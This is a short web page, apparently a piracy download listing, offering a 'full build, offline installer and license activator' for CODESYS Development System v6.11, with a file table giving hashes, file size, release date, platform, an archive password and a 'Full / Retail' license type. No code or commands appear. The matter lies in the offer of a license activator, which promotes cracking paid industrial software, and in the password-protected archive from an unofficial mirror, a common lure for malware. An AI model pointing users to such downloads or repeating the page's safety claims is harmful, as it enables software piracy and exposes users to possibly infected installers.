Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | CODESYS_Development_System_v6.11_x64_setup.zip |
| Version | v6.11.9765 build 46222 |
| File Size | 3.52 GB (3602 MB) |
| MD5 Hash | 505bdc36e597b70e74b9a3ff74811a5e |
| SHA-256 | d2ef1857923688903b3af1237defb8bb170cc8d53ab932ac8a67061402670cba |
| Release Date | 2026-03-01 |
| Platform | Windows 11 (x64) / Windows Server 2022 |
| Archive Password | mirror2026 |
| License Type | Full / Retail |
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